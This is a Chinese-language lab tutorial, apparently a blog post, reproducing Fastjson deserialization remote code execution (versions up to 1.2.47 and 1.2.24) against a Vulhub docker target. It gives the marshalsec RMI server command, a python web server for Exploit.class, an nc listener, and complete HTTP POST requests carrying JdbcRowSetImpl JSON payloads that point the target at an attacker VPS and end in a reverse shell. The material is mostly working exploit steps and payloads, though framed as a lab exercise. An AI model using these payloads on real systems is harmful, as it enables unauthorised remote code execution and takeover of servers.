Fastjson<=1.2.47

环境:

  • Centos7 靶机(docker环境)
  • Centos7 vps攻击机
  • Vulhub fastjson-1.2.47
  • marshalsec-0.0.3-SNAPSHOT-all.jar
  • Exploit.java
  • jdk-8u181-linux-x64.tar.gz
    除了步骤1),其余步骤均在vps攻击机上完成
1)Docker vulhub搭建环境

进入到1.2.47-rce,输入命令docker-compose up -d搭建漏洞环境
在这里插入图片描述
在这里插入图片描述
成功搭建环境
在这里插入图片描述

2)jdk安装

Jdk版本需要注意,这里使用的是jdk-8u181-linux-x64.tar.gz(要求攻击机的javac是1.8的低版本,测试在1.8.0_181可成功,尽量低于1.8.0_191版本),下载安装可参考:参考链接

3)marshalsec与Exploit.java下载

下载地址:https://github.com/CaijiOrz/fastjson-1.2.47-RCE
Exploit.java内容:
在这里插入图片描述

4)编译Exploit.java文件

在exploit.java目录下,输入命令:javac ./Exploit.java,会生成一个Exploit.class文件,将以下三个文件放在同一个目录下
在这里插入图片描述

5)python开启web服务

端口可任意,注意需要与上面三个文件同一路径下开启web服务
python -m SimpleHTTPServer 1111 (python2)
python -m http.server 1111 (python3)
在这里插入图片描述在这里插入图片描述

6)开启rmi服务

利用marshalsec文件开启rmi服务:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http://vpsIP:1111/#Exploit” 9999
在这里插入图片描述

7) nc开启端口监听

注意与exploit.java文件中的端口一致
在这里插入图片描述

8)漏洞探测

burp抓包,发送poc,修改request方法为post,content-type字段为json,先用dnslog进行探测。

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://kxrk9o.dnslog.cn/Exploit",
        "autoCommit":true
    }
}

在这里插入图片描述

9)反弹shell

在这里插入图片描述

POST / HTTP/1.1
Host: 靶机IP:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
DNT: 1
Connection: close
Content-Type: application/json
Content-Length: 264

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://vpsIP:9999/Exploit",
        "autoCommit":true
    }
}

vps上成功获取目标shell
在这里插入图片描述

Fastjson<=1.2.24

步骤与1.2.47一样,只是最后的poc不同
在这里插入图片描述

POST / HTTP/1.1
Host: 靶机IP:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
DNT: 1
Connection: close
Content-Type: application/json
Content-Length: 163

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://vpsIP:9999/Exploit",
        "autoCommit":true
    }
}
Logo

权威|前沿|技术|干货|国内首个API全生命周期开发者社区

更多推荐